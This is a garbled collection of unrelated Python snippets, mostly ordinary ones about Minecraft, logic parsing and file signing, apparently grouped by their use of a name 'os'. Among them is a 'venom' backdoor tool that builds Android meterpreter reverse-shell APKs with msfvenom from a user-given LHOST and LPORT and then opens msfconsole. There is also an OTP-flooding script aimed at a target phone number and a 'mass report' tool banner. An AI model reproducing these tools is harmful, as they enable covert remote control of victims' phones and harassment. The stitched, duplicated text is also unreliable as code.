def clock(seconds): if seconds >= 60: minutes = seconds // 60 seconds = seconds - minutes * 60 return os(minutes) + ":" + os(seconds) else: return "00:" + os(seconds)
def backdoor(): print(g + '\n[' + C + '*' + g + '] Choose Your method\n\n[' + C + '1' + g + '] android/meterpreter/reverse_https\n[' + C + '2' + g + '] android/meterpreter/reverse_http\n[' + C + '3' + g + '] android/meterpreter/reverse_tcp\n[' + C + '4' + g + '] android/shell/reverse_https\n[' + C + '5' + g + '] android/shell/reverse_http\n[' + C + '6' + g + '] android/shell/reverse_tcp') co = input('[#] Zettamus' + Y + '/> ' + G) if co == '': exit('[' + R + '!' + g + '] Dont be empty') elif co in ['1', '01']: method = 'android/meterpreter/reverse_https' elif co in ['2', '02']: method = 'android/meterpreter/reverse_http' elif co in ['3', '03']: method = 'android/meterpreter/reverse_tcp' elif co in ['4', '04']: method = 'android/shell/reverse_https' elif co in ['5', '05']: method = 'android/shell/reverse_http' elif co in ['6', '06']: method = 'android/shell/reverse_tcp' else: exit(g + '[' + R + '!' + g + '] Wrong Input ') lhost = input(g + '[' + R + '?' + g + '] LHOST : ' + G) if lhost == '': exit(g + '[' + R + '!' + g + '] Dont be empty') lport = input(g + '[' + R + '?' + g + '] LPORT : ' + G) if len(lport) < 4: exit(g + '[' + R + '!' + g + '] Exit : LPORT must be 4 digit') elif lport == '': exit(g + '[' + R + '!' + g + '] Dont be empty') nama = input(g + '[' + R + '?' + g + '] Payload name : ' + G) if nama == '': exit(g + '[' + R + '!' + g + '] Dont be empty') elif '.apk' in nama: pass else: nama = nama + '.apk' print(g + '[' + C + '*' + g + '] Running Proccess ') print(g + '[' + C + '*' + g + '] Creating Payload with lhost', C + lhost + g, 'and lport', G + lport) cr = os('msfvenom -p ' + method + ' LHOST=' + lhost + ' LPORT=' + lport + ' -o /data/data/com.termux/files/home/backdoor/' + nama + ' > /dev/null 2>&1') if cr == 0: tik(g + '[' + C + '*' + g + '] Succesfully creating backdoor payload\n' + g + '[' + C + '*' + g + '] Payload saved it : ' + G + 'home/backdoor/' + nama) else: exit(g + '[' + R + '!' + g + '] Error When Create backdoor') msf = input('[?] Do you want to jump to msfconsole [Y/n] : ') if msf in ['Y', 'y']: print(g + '[' + C + '*' + g + '] Running Postgresql') os('pg_ctl -D $PREFIX/var/lib/postgresql start > /dev/null 2>&1') print(g + '[' + C + '*' + g + '] Running msfconsole ') exit(os('msfconsole')) else: exit(g + '[' + R + '!' + g + '] Exit: Ok!')
def start_game(): os('cls') ## Charecter naming/ intro player.name = raw_input('What is the name of your character') story1 = "you are a adventurer who has recieved a quest to save some captured villagers from a kobald hideout" story2 = "you've managed to track them down to a cave in the forest near the village" story3 = "you are now in front of the enterance to the cave" print("Begin your quest now") main_game_loop()
def fctBridge(p1, p2): xp, yp, zp = mc.player.getTilePos() if p2 == True: M = "WOOD" else: M = "COBBLESTONE" Bridge.bridge(xp, yp, zp, "North", M) os('omxplayer -o local Desktop/minecraft/Magic_Wand/songs/Bridge.mp3')
def fctMine(p1, p2): xp, yp, zp = mc.player.getTilePos() if p1 == True: size = 80 if p1 == False: size == 15 Mine.Mine(xp, yp, zp, "North", 15) os('omxplayer -o local Desktop/minecraft/Magic_Wand/songs/Mine.mp3')
def fctMidas(p1, p2): xp, yp, zp = mc.player.getTilePos() if p1 == True: s = 15 if p1 == False: s = 5 if p2 == True: idb = 57 if p2 == False: idb = 41 Midas.Midascube(xp, yp, zp, s, idb) os('omxplayer -o local Desktop/minecraft/Magic_Wand/songs/Midas.mp3')
def detect_os(host, executor_factory=_executor_factory, available_oses=_available_oses): executor = executor_factory(host) for os in available_oses(): if os.installed_on(host, executor): return Proxy(host, os(executor)) raise UnsupportedOSError( 'No supported operating system found at {0}'.format(host))
def fctHouse(p1, p2): xp, yp, zp = mc.player.getTilePos() xp = xp + 4 if p1 == True: length = 12 width = 14 height = 12 if p1 == False: length = 7 width = 5 height = 7 if p2 == True: M = "COBBLESTONE" if p2 == False: M = "WOOD" House.house(xp, yp, zp, length, width, height, M) os('omxplayer -o local songs/House.mp3')
def menu(): banner() ip() print() print(g + '[' + C + '01' + g + '] Create Backdoor ') print(g + '[' + C + '02' + g + '] Jump to msfconsole') try: tik(up) except: pass print(g + '[' + R + '00' + g + '] Exit') try: zett = input(g + '\n[' + R + '##' + g + '] Zettamus' + Y + '/> ' + G) except KeyboardInterrupt: exit(g + '[' + R + '!' + g + '] Key Interrupt : Exit!') if zett == '': exit(g + '\n[' + R + '!' + g + '] Dont be empty') elif zett in ['1', '01']: backdoor() elif zett in ['2', '02']: msf() elif zett in ['0', '00']: exit(tik(g + '\n[' + R + '!' + g + '] VENOM TOOLS : EASY TO USE')) elif zett == '99': try: tik(update) print(g + '[' + C + '*' + g + '] Please Wait..') os('cd ..;rm -rf backdoor') os('cd ..;git clone https://github.com/zettamus/backdoor > /dev/null 2>&1' ) tik(g + '[' + C + '*' + g + '] Update Successfully ') exit(os('..;cd backdoor;python3 venom.py')) except: exit( tik(g + '[' + C + '*' + g + '] Your venom is the latest version')) else: exit(g + '\n[' + R + '!' + g + '] Wrong input ')
def do_env(): def os(): if sys.platform.startswith('l'): return "Linux" elif sys.platform.startswith('w'): return "Windows" elif sys.platform.startswith('d'): return "Mac" elif sys.platform.startswith('o'): return "OS" else: return "Unknown" server = {} python = {} server['Server Time'] = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) server['Server Domain'] = getvalue("SERVER_NAME") server['Server IP'] = socket.gethostbyname( server['Server Domain']) or "Unknown" server['Server OS'] = os() server['Server Software'] = getvalue("SERVER_SOFTWARE") or "Unknown" server['Cgi Path'] = getvalue("PATH_INFO") or "Unknown" serverInfo = "" pythonInfo = "" for k, v in server.items(): serverInfo += "<li><u>%s:</u> %s</li>" % (k, v) for k, v in python.items(): pythonInfo += "<li><u>%s:</u> %s</li>" % (k, v) env = """ <table width="100%%" border="0" cellpadding="15" cellspacing="0"><tr><td> <h2>Server »</h2> <ul class="info"> %s </ul> <h2>Python »</h2> <ul class="info"> %s <h2>waitting for you to add!!!</h2> </ul> </tr></td> </table> """ % (serverInfo, pythonInfo) print env
def do_env(): def os(): if sys.platform.startswith('l'): return "Linux" elif sys.platform.startswith('w'): return "Windows" elif sys.platform.startswith('d'): return "Mac" elif sys.platform.startswith('o'): return "OS" else: return "Unknown" server ={} python ={} server['Server Time'] = time.strftime("%Y-%m-%d %H:%M:%S",time.localtime()) server['Server Domain'] = getvalue("SERVER_NAME") server['Server IP'] = socket.gethostbyname(server['Server Domain']) or "Unknown" server['Server OS'] = os() server['Server Software'] = getvalue("SERVER_SOFTWARE") or "Unknown" server['Cgi Path'] = getvalue("PATH_INFO") or "Unknown" serverInfo = "" pythonInfo = "" for k ,v in server.items(): serverInfo += "<li><u>%s:</u> %s</li>" % (k, v) for k ,v in python.items(): pythonInfo += "<li><u>%s:</u> %s</li>" % (k, v) env = """ <table width="100%%" border="0" cellpadding="15" cellspacing="0"><tr><td> <h2>Server »</h2> <ul class="info"> %s </ul> <h2>Python »</h2> <ul class="info"> %s <h2>waitting for you to add!!!</h2> </ul> </tr></td> </table> """ %(serverInfo,pythonInfo) print env
def sendiotdata(totaldevices, topic): iotdevice = 1 while iotdevice <= totaldevices: iotdevicenumber = random.randint(1, 999999) print("IoT device no."), iotdevicenumber iotdeviceinfo = IoTdeviceScanData(randomip(1), openport(), stateport(), serviceport(openport()), portos(serviceport(openport())), os(), iottemp(), iotcpu(), iotmem()) iotstring = 'IoT Device: ' + str( iotdevicenumber ) + ',' + 'Initial IP Address: ' + iotdeviceinfo.ip_addr + ',' + 'IoT temp F deg : ' + iotdeviceinfo.iottemp + ',' + 'IoT cpu capacity: ' + iotdeviceinfo.iotcpu + ',' + 'IoT memory capacity: ' + iotdeviceinfo.iotmem + ',' + 'Operating System: ' + iotdeviceinfo.operatingsystem + ',' + 'Port OS: ' + iotdeviceinfo.portoperatingsystem + ',' + 'Port state: ' + iotdeviceinfo.portstate + ',' + 'Port protocol: ' + iotdeviceinfo.portservice + ',' + 'Open ports: ' + iotdeviceinfo.openports print iotstring #producer.send(topic,iotstring) iotproducer.produce(topic, iotstring, callback=delivery_callback) time.sleep(3) iotdevice += 1 print('')
def spam(): os('clear') Bannerinf() try: print '%s[%s?%s] %sMasukkan Nomor target Dengan awalan 08 atau 62 %s[%s?%s]\n' % ( R, B, R, W, R, B, R) phone = raw_input('' + R + '[' + B + '+' + R + '] ' + W + 'Nomor target ' + R + ': ' + W + '') Bannerinf() KNTL = {'msisdn': '' + phone, 'accept': 'call'} count = 0 os('clear') Bannerinf() while count < 3: r = requests.post('https://www.tokocash.com/oauth/otp', data=KNTL) if 'otp_attempt_left' in r.text: print '%s[%s+%s] %sOTP berhasil Dikirim ...' % (R, B, R, W) else: print '%s[%s-%s] %sOTP Gagal Dikirim ...' % (R, B, R, W) sleep(60) count = count + 1 print '[+] Stopped...' sleep(1) sys.exit(1) except EOFError: sys.exit() except KeyboardInterrupt: sys.exit() except requests.exceptions.ConnectionError: os('clear') Bannerinf() print('{}[{}-{}] {}Connection Error ...').format(R, Y, R, W) print '' sleep(1) exit()
def find_sentences(instring): str2 = "" marker = False n = -1 il = -1 total = -1 c = -1 neg_value = [] str1 = "" sent1 = [] sent_type2 = [] wneg = [] output = [0, 1, 2, 3, 4, 5, 6] # the skel name list names each single sentence after a greek letter, even if # the same sentence appears twice it obtains a different name on the second # appearance skel_nam = [] skel_nam2 = {} q = [] skel_string = instring bool1 = False bool2 = False p = 947 res = "" temp_string = "" connectives = ["&", idisj, iff, conditional, nonsequitur, implies] arr1 = [] cond_r2 = cond_r + neg instring2 = copy.copy(instring) instring = instring.strip() grandparent_type = mainconn(instring) if instring.find("~(") > -1: instring = instring.replace("~(", "(!") if instring.find(implies) > -1: str2 = implies elif instring.find(nonsequitur) > -1: str2 = nonsequitur if os(instring) == False: temp_string = mainconn(instring) if instring.find(implies) > -1: str1 = implies elif instring.find(nonsequitur) > -1: str1 = nonsequitur else: if temp_string == iff: str1 = "bicond" elif temp_string == conditional: str1 = "cond" elif temp_string == "&": str1 = "cj" sent1.append(instring) neg_value.append("") sent_type2.append(str1) wneg.append(instring) # elif os(instring): # otemp_sent = instring # # sent1 = [0 for row in range(3)] # neg_value = [0 for row in range(3)] # sent_type2 = [0 for row in range(3)] # sent_type2[2] = "cj" # wneg = [0 for row in range(3)] # # if instring.find("~") > -1 or instring.find(cond_r2) > -1: # instring = instring.replace("~", "") # instring = instring.replace(cond_r2, cond_r) # neg_value[2] = "~" # else: # neg_value[2] = "" # # sent1[2] = instring # # # wneg[2] = otemp_sent # output[1] = sent1 # output[2] = neg_value # output[3] = sent_type2 # output[4] = wneg # find_sentences_complex = output # return find_sentences_complex #children = [[[ 0 for row in range(3)] for row1 in range(11)] for row2 in range(11)] j = -1 for i in range(0, len(instring)): str1 = instring[i:(i + 1)] for o in connectives: if str1 == o: j += 1 while n <= j + 1: il += 1 if il > 15: break no_conn = True e = 0 l = len(instring) x = -1 while x < l - 1: x += 1 temp_string = instring[x: x + 1] if instring[x: x + 1] == "(": if marker == False: z = x marker = True total += 1 elif instring[x: x + 1] == ")": total -= 1 if total == -1: marker = False e += 1 c += 1 temp_sent = instring[z: x + 1] #temp_sent = remove_outer_paren(temp_sent) otemp_sent = copy.copy(temp_sent) if (len(instring) - len(temp_sent)) > 2: if os(temp_sent): if temp_sent.find("~") > -1: neg_value.append("~") temp_sent = temp_sent.replace("~", "") elif temp_sent.find(cond_r2) > -1: neg_value.append("~") temp_sent = temp_sent.replace(cond_r2, cond_r) elif temp_sent.find(cond_r2) == -1 and temp_sent.find(cond_r) > -1: neg_value.append("") elif temp_sent.find("~") == -1: neg_value.append("") else: break # stop result = mainconn(temp_sent) temp_mc = result[0] result = mainconn(instring) parent_type = result[0] if z > instring2.find(str2) and str2 != "": n = n + 1 res = "consq" elif grandparent_type == "&" and parent_type == "&": if temp_mc == "": res = "cj" n = n + 1 elif temp_mc == conditional: res = "cond" elif temp_mc == iff: res = "bicond" elif temp_mc == idisj: res = "disj" elif parent_type == conditional or parent_type == iff or grandparent_type == conditional or grandparent_type == iff: if temp_mc == "": n = n + 1 if parent_type == iff: if bool1: res = "bic2" else: res = "bic1" bool1 = True elif parent_type == idisj: if bool1: res = "disjc2" else: res = "disjc1" bool1 = True elif instring2.find(otemp_sent) < instring2.find(conditional): if bool1: res = "ant2" else: res = "ant" bool1 = True else: if bool2: res = "cons2" else: res = "cons" bool2 = True elif temp_mc == conditional: res = "cond" elif temp_mc == iff: res = "bicond" elif z < instring2.find(str2) and str2 != "": res = "ncj" n = n + 1 else: res = "ncj" n = n + 1 # if temp_sent == "(z'Ax')": # pp = 7 sent1.append(temp_sent) sent_type2.append(res) wneg.append(otemp_sent) if os(otemp_sent): p += 1 skel_string = skel_string.replace( otemp_sent, unichr(p)) q = [otemp_sent, unichr(p)] skel_nam.append(q) # skel_nam2[otemp_sent] = unichr(p) else: skel_nam.append("") # if k > 0: # m += 1 # children[k][m][0] = temp_sent # children[k][m][1] = neg_value[c] else: instring = instring[1:len(instring) - 1] l = len(instring) x = -1 c -= - 1 e -= - 1 total = -1 marker = False w = -1 if n < j + 1: if len(sent1) > w and parent_type != implies and parent_type != nonsequitur: while w < len(sent1): w += 1 str21 = sent1[w] if not os(str21) and w != 0: if str21 not in arr1: bool1 = False bool2 = False instring = str21 k = w arr1.append(instring) break main_sent = False for i in range(0, len(sent1)): # if os(sent1(i)) == False: # str1 = wneg[i] # str2 = str1.replace("~", "") # str2 = str2.repalce(cond_r2, cond_r) # wneg[i] = str2 temp_string = sent1[i] if temp_string.find("!") > -1: sent1[i] = sent1[i].replace("(!", "~(") wneg[i] = wneg[i].replace("(!", "~(") output[0] = sent1 output[1] = neg_value output[2] = sent_type2 output[3] = wneg # output[4] = children output[5] = skel_string output[6] = skel_nam find_sentences = output return find_sentences
def stop(self, command): os('button.py %n'.format(command))
#!/usr/bin/env python import os import sys if __name__ == '__main__': os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'wheelofluck.settings') try: from django.core.management import execute_from_command_line except os as exc: raise os("Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?") from exc execute_from_command_line(sys.argv)
def mainconn(str1): # str_main = str_main.replace(implies,"&") # str_main = str_main.replace(nonsequitur, "&") # str_main = str_main.replace("~","") # str_main = str_main.replace(" ", "") if os(str1): return ["", 0] if str1.find("&") < -1 and str1.find(idisj) < -1 and str1.find(iff) < -1 and str1.find(conditional) < -1 and \ str1.find(implies) < -1 and str1.find(nonsequitur) < -1 and str1.find(xorr) < -1: return # arr1 = [ 0 for row in range(6)] # arr2 = [ 0 for row in range(6)] str3 = str1 j = 0 # zzz for i in range(0, len(str1)): str2 = str1[i:i + 1] if str2 == "(": j += 1 elif str2 == ")": j -= 1 if j == 0 and i + 1 != len(str1): break elif j == 0 and i + 1 == len(str1): str1 = str1[1:len(str1) - 1] j = -1 for i in range(0, len(str1)): str2 = str1[i:i + 1] if str2 == conditional: f = -1 if str2 == idisj or str2 == "&" or str2 == iff or str2 == implies or \ str2 == nonsequitur or str2 == conditional or str2 == xorr: if str3 != str2 and str3 != "": j = j + 1 str3 = str2 if j == -1: mainconn = [str3, i] return mainconn k = -1 j = -1 while True: k += 1 if k > 150: break for i in range(0, len(str1)): str2 = str1[i:i + 1] if str2 == "(": j += 1 elif str2 == ")": j -= 1 if j == -1 and (str2 == idisj or str2 == "&" or str2 == iff or str2 == implies or str2 == nonsequitur or str2 == conditional or str2 == xorr): list1 = [str2, i] mainconn = [str2, i] return mainconn
# -*- coding: utf-8 -*- import platform class os: def __init__(self): platform.system() def osWindows(self): if platform.system() == 'Linux': return False else: return True def changeDir(self, SystemOS): import os if SystemOS == False: path = '/export' if os.path.exists(path): return path else: return False else: return 'Jiny OS' i = os() zjisti = i.osWindows() print i.changeDir(zjisti)
def sign_zipfile(file, key, hash="sha1", outfile=signedimp.HASHFILE_NAME): """Sign all the modules found in the given zipfile. This function walks the given zipfile looking for python modules, and signs everything it finds in that file using the given key. If the named file is not a zipfile, the function returns immediately and leaves the file unchanged. By default the signed hash file is written into the root of the zipfile; redirect output by passing a filename or file object as 'outfile'. """ try: zipfile.ZipFile(file).close() except zipfile.BadZipfile: return infile = zipfile.ZipFile(file, "a") other_sigs = [] # Simulate "os" module for passing to the hash_files function. class os: sep = "/" class path: def join(self, *paths): return "/".join(paths) def dirname(self, path): if "/" not in path: return "" return path.rsplit("/", 1)[0] def basename(self, path): if "/" not in path: return path return path.rsplit("/", 1)[1] def exists(self, path): try: infile.getinfo(path) except KeyError: return False else: return True path = path() # Careful not to inlude the outfile itself in the signature. def files(): for nm in infile.namelist(): if isinstance(outfile, basestring) and nm == outfile: continue yield nm hashdata = hash_files("", files(), hash=hash, read=infile.read, os=os()) sig = base64.b64encode(key.sign(hashdata)) # If the file already exists, try to add our signature to it. # If the data has changed, the old data is silently thrown away. if isinstance(outfile, basestring): try: infile.getinfo(outfile) except KeyError: pass else: offset = 0 for ln in infile.read(outfile).split("\n"): offset += len(ln) + 1 if not ln.strip(): break other_sigs.append(ln + "\n") olddata = infile.read(outfile)[offset:] if olddata != hashdata: other_sigs = [] # Write out the new hash data with prepended signature. if isinstance(outfile, basestring): data = [key.fingerprint() + " " + sig + "\n"] for sig2 in other_sigs: data.append(sig2) data.append("\n") data.append(hashdata) infile.writestr(outfile, "".join(data)) else: outfile.write(key.fingerprint() + " " + sig + "\n") for sig2 in other_sigs: outfile.write(sig2) outfile.write("\n") outfile.write(hashdata)
def sign_zipfile(file,key,hash="sha1",outfile=signedimp.HASHFILE_NAME): """Sign all the modules found in the given zipfile. This function walks the given zipfile looking for python modules, and signs everything it finds in that file using the given key. If the named file is not a zipfile, the function returns immediately and leaves the file unchanged. By default the signed hash file is written into the root of the zipfile; redirect output by passing a filename or file object as 'outfile'. """ try: zipfile.ZipFile(file).close() except zipfile.BadZipfile: return infile = zipfile.ZipFile(file,"a") other_sigs = [] # Simulate "os" module for passing to the hash_files function. class os: sep = "/" class path: def join(self,*paths): return "/".join(paths) def dirname(self,path): if "/" not in path: return "" return path.rsplit("/",1)[0] def basename(self,path): if "/" not in path: return path return path.rsplit("/",1)[1] def exists(self,path): try: infile.getinfo(path) except KeyError: return False else: return True path = path() # Careful not to inlude the outfile itself in the signature. def files(): for nm in infile.namelist(): if isinstance(outfile,basestring) and nm == outfile: continue yield nm hashdata = hash_files("",files(),hash=hash,read=infile.read,os=os()) sig = base64.b64encode(key.sign(hashdata)) # If the file already exists, try to add our signature to it. # If the data has changed, the old data is silently thrown away. if isinstance(outfile,basestring): try: infile.getinfo(outfile) except KeyError: pass else: offset = 0 for ln in infile.read(outfile).split("\n"): offset += len(ln) + 1 if not ln.strip(): break other_sigs.append(ln + "\n") olddata = infile.read(outfile)[offset:] if olddata != hashdata: other_sigs = [] # Write out the new hash data with prepended signature. if isinstance(outfile,basestring): data = [key.fingerprint() + " " + sig + "\n"] for sig2 in other_sigs: data.append(sig2) data.append("\n") data.append(hashdata) infile.writestr(outfile,"".join(data)) else: outfile.write(key.fingerprint() + " " + sig + "\n") for sig2 in other_sigs: outfile.write(sig2) outfile.write("\n") outfile.write(hashdata)
def msf(): print(g + '[' + C + '*' + g + '] Running Postgresql') os('pg_ctl -D $PREFIX/var/lib/postgresql start > /dev/null 2>&1') print(g + '[' + C + '*' + g + '] Running msfconsole ') exit(os('msfconsole'))
def on_modified(self, event): logger.info("文件被修改了 %s" % event.src_path) file = event.src_path if os.path.isfile(file): os(file)
import requests import colorama import threading import os import ctypes from colorama import Fore, Style from threading import Thread from sys import stdout from requests import Session from time import strftime, gmtime sent = 0 session = Session() b = Style.BRIGHT os = os.system os('cls') ctypes.windll.kernel32.SetConsoleTitleW(f"[MASS REPORT] By Dakari ") print(f""" {b+Fore.RED} We On Demon Timing ; ; ED. ED. ., ., E#Wi ,; E#Wi ,Wt ,Wt E###G. f#i E###G. .. i#D. i#D. E#fD#W; .E#t .. E#fD#W; ;W, f#f f#f E#t t##L i#W, ;W, E#t t##L j##, .D#i .D#i E#t .E#K, L#D. j##, E#t .E#K, G###, :KW, :KW, E#t j##f :K#Wfff; G###, E#t j##f :E####, t#f t#f E#t :E#K: i##WLLLLt :E####, E#t :E#K:
import os # engine = pyttsx3.init() os(espeak('Sally sells seashells by the seashore.')) # engine.say('The quick brown fox jumped over the lazy dog.') # engine.runAndWait()
# bird trying to fly def almost(): return ( " .---. .-----------\n / \\ __ / ------\n / / \\( )/ -----\n ////// \' \\/ ` ---\n //// / // : : ---\n // / / ` \'--\n// //..\\\\\n ====UU====UU====\n \'//||\\\\`\n \'\'``\n" ) # bird flying def fly(): return ( " .ze$$e.\n .ed$$$eee.. .$$$$$$$P\"\"\"\n z$$$$$$$$$$$$$$$$$ee$$$$$$\"\n .d$$$$$$$$$$$$$$$$$$$$$$$$$\"\n .$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$e..\n .$$****\"\"\"\"***$$$$$$$$$$$$$$$$$$$$$$$$$$$be.\n \"\"**$$$$$$$$$$$$$$$$$$$$$$$L\n z$$$$$$$$$$$$$$$$$$$$$$$$$\n .$$$$$$$$P**$$$$$$$$$$$$$$$$\n d$$$$$$$\" 4$$$$$\n z$$$$$$$$$ $$$P\"\n d$$$$$$$$$F $P\"\n $$$$$$$$$$F\n *$$$$$$$$\"\n \"***\"\"\n" ) sudo() prereqs = prebuilder() print(bird()) print(intro()) osname = os() print(eggs()) instpkgs = installed(osname) availpkgs = avail(osname) notin = missing(availpkgs, instpkgs) echo(notin, instpkgs, availpkgs, wc_dic) # result(len(missing(prereqs, av, ins))) print(nest()) print("\n" + ending(len(notin), nester()) + "\n\n") report(replist)
def find_sentences(instring): str2 = "" marker = False n = -1 il = -1 total = -1 c = -1 neg_value = [] str1 = "" sent1 = [] sent_type2 = [] wneg = [] output = [0, 1, 2, 3, 4, 5, 6] # the skel name list names each single sentence after a greek letter, even if # the same sentence appears twice it obtains a different name on the second # appearance skel_nam = [] skel_nam2 = {} q = [] skel_string = instring bool1 = False bool2 = False p = 947 res = "" temp_string = "" connectives = ["&", idisj, iff, conditional, nonsequitur, implies] arr1 = [] cond_r2 = cond_r + neg instring2 = copy.copy(instring) instring = instring.strip() grandparent_type = mainconn(instring) if instring.find("~(") > -1: instring = instring.replace("~(", "(!") if instring.find(implies) > -1: str2 = implies elif instring.find(nonsequitur) > -1: str2 = nonsequitur if os(instring) == False: temp_string = mainconn(instring) if instring.find(implies) > -1: str1 = implies elif instring.find(nonsequitur) > -1: str1 = nonsequitur else: if temp_string == iff: str1 = "bicond" elif temp_string == conditional: str1 = "cond" elif temp_string == "&": str1 = "cj" sent1.append(instring) neg_value.append("") sent_type2.append(str1) wneg.append(instring) # elif os(instring): # otemp_sent = instring # # sent1 = [0 for row in range(3)] # neg_value = [0 for row in range(3)] # sent_type2 = [0 for row in range(3)] # sent_type2[2] = "cj" # wneg = [0 for row in range(3)] # # if instring.find("~") > -1 or instring.find(cond_r2) > -1: # instring = instring.replace("~", "") # instring = instring.replace(cond_r2, cond_r) # neg_value[2] = "~" # else: # neg_value[2] = "" # # sent1[2] = instring # # # wneg[2] = otemp_sent # output[1] = sent1 # output[2] = neg_value # output[3] = sent_type2 # output[4] = wneg # find_sentences_complex = output # return find_sentences_complex #children = [[[ 0 for row in range(3)] for row1 in range(11)] for row2 in range(11)] j = -1 for i in range(0, len(instring)): str1 = instring[i:(i + 1)] for o in connectives: if str1 == o: j += 1 while n <= j + 1: il += 1 if il > 15: break no_conn = True e = 0 l = len(instring) x = -1 while x < l - 1: x += 1 temp_string = instring[x:x + 1] if instring[x:x + 1] == "(": if marker == False: z = x marker = True total += 1 elif instring[x:x + 1] == ")": total -= 1 if total == -1: marker = False e += 1 c += 1 temp_sent = instring[z:x + 1] #temp_sent = remove_outer_paren(temp_sent) otemp_sent = copy.copy(temp_sent) if (len(instring) - len(temp_sent)) > 2: if os(temp_sent): if temp_sent.find("~") > -1: neg_value.append("~") temp_sent = temp_sent.replace("~", "") elif temp_sent.find(cond_r2) > -1: neg_value.append("~") temp_sent = temp_sent.replace(cond_r2, cond_r) elif temp_sent.find( cond_r2 ) == -1 and temp_sent.find(cond_r) > -1: neg_value.append("") elif temp_sent.find("~") == -1: neg_value.append("") else: break # stop result = mainconn(temp_sent) temp_mc = result[0] result = mainconn(instring) parent_type = result[0] if z > instring2.find(str2) and str2 != "": n = n + 1 res = "consq" elif grandparent_type == "&" and parent_type == "&": if temp_mc == "": res = "cj" n = n + 1 elif temp_mc == conditional: res = "cond" elif temp_mc == iff: res = "bicond" elif temp_mc == idisj: res = "disj" elif parent_type == conditional or parent_type == iff or grandparent_type == conditional or grandparent_type == iff: if temp_mc == "": n = n + 1 if parent_type == iff: if bool1: res = "bic2" else: res = "bic1" bool1 = True elif parent_type == idisj: if bool1: res = "disjc2" else: res = "disjc1" bool1 = True elif instring2.find( otemp_sent) < instring2.find( conditional): if bool1: res = "ant2" else: res = "ant" bool1 = True else: if bool2: res = "cons2" else: res = "cons" bool2 = True elif temp_mc == conditional: res = "cond" elif temp_mc == iff: res = "bicond" elif z < instring2.find(str2) and str2 != "": res = "ncj" n = n + 1 else: res = "ncj" n = n + 1 # if temp_sent == "(z'Ax')": # pp = 7 sent1.append(temp_sent) sent_type2.append(res) wneg.append(otemp_sent) if os(otemp_sent): p += 1 skel_string = skel_string.replace( otemp_sent, unichr(p)) q = [otemp_sent, unichr(p)] skel_nam.append(q) # skel_nam2[otemp_sent] = unichr(p) else: skel_nam.append("") # if k > 0: # m += 1 # children[k][m][0] = temp_sent # children[k][m][1] = neg_value[c] else: instring = instring[1:len(instring) - 1] l = len(instring) x = -1 c -= -1 e -= -1 total = -1 marker = False w = -1 if n < j + 1: if len( sent1 ) > w and parent_type != implies and parent_type != nonsequitur: while w < len(sent1): w += 1 str21 = sent1[w] if not os(str21) and w != 0: if str21 not in arr1: bool1 = False bool2 = False instring = str21 k = w arr1.append(instring) break main_sent = False for i in range(0, len(sent1)): # if os(sent1(i)) == False: # str1 = wneg[i] # str2 = str1.replace("~", "") # str2 = str2.repalce(cond_r2, cond_r) # wneg[i] = str2 temp_string = sent1[i] if temp_string.find("!") > -1: sent1[i] = sent1[i].replace("(!", "~(") wneg[i] = wneg[i].replace("(!", "~(") output[0] = sent1 output[1] = neg_value output[2] = sent_type2 output[3] = wneg # output[4] = children output[5] = skel_string output[6] = skel_nam find_sentences = output return find_sentences
import os os('omxplayer -o local songs/heighho.mp3')
def Python(): if sys.platform == 'cli': #IronPython import System return System.IntPtr.Size == 8 else: try: return sys.maxsize > 2147483647 except AttributeError: return sys.maxint > 2147483647 def os(): import platform pm = platform.machine() if pm != '..' and pm.endswith('64'): # recent Python (not Iron) return True else: import os if 'PROCESSOR_ARCHITEW6432' in os.environ: return True # 32 bit program running on 64 bit Windows try: return os.environ['PROCESSOR_ARCHITECTURE'].endswith('64') # 64 bit Windows 64 bit program except IndexError: pass # not Windows try: return '64' in platform.architecture()[0] # this often works in Linux except: return False # is an older version of Python, assume also an older os (best we can guess) if __name__ == "__main__": print(("is64bit.Python() =", Python(), "is64bit.os() =", os()))
#!/usr/bin/python import os print os() #.platform()
import os, time, getpass, socket, requests, sys, random # Colours : Y = '\033[93m' # Yellow C = '\033[1;36m' # Cyan G = '\x1b[32m' # Green R = '\033[31;1m' # Red W = '\x1b[1;97m' # White g = '\033[90m' # Grey r = "\033[0m" # Reset # Setting : getpass = getpass.getpass os = os.system sleep = time.sleep os('dpkg --configure -a') os('clear') try: versi = '1.2' requp = requests.get( 'https://raw.githubusercontent.com/zettamus/backdoor/master/README.md' ).text if versi in str(requp): up = '[99] Update ' update = g + '[' + C + '*' + g + '] Updating venom tools...' ver = '[!] New version is available. Update now' except: pass def tik(s):
import os for i in range(2, 3): filename = "fastas//" + str(i) command = "ASAquick " + filename os(command)
import sys import zmq import json import os import hashlib import re, uuid import random from os import listdir ejecucion = "./o.o datos.csv" + dim + k os(ejecucion)
print(name + ' has been created\n') # bird trying to fly def almost(): return ( " .---. .-----------\n / \\ __ / ------\n / / \\( )/ -----\n ////// \' \\/ ` ---\n //// / // : : ---\n // / / ` \'--\n// //..\\\\\n ====UU====UU====\n \'//||\\\\`\n \'\'``\n" ) # bird flying def fly(): return ( " .ze$$e.\n .ed$$$eee.. .$$$$$$$P\"\"\"\n z$$$$$$$$$$$$$$$$$ee$$$$$$\"\n .d$$$$$$$$$$$$$$$$$$$$$$$$$\"\n .$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$e..\n .$$****\"\"\"\"***$$$$$$$$$$$$$$$$$$$$$$$$$$$be.\n \"\"**$$$$$$$$$$$$$$$$$$$$$$$L\n z$$$$$$$$$$$$$$$$$$$$$$$$$\n .$$$$$$$$P**$$$$$$$$$$$$$$$$\n d$$$$$$$\" 4$$$$$\n z$$$$$$$$$ $$$P\"\n d$$$$$$$$$F $P\"\n $$$$$$$$$$F\n *$$$$$$$$\"\n \"***\"\"\n" ) sudo() print(bird()) print(intro()) os() print(eggs()) instpkgs = installed(prereqs) availpkgs = avail(prereqs) notin = missing(prereqs, availpkgs, instpkgs) echo(notin, instpkgs, availpkgs, wc_dic) # result(len(missing(prereqs, av, ins))) print(nest()) print("\n" + ending(len(notin), nester()) + "\n\n") report(replist)
def on_sigint(): os('pkill vlc') delete_video(current_video) exit()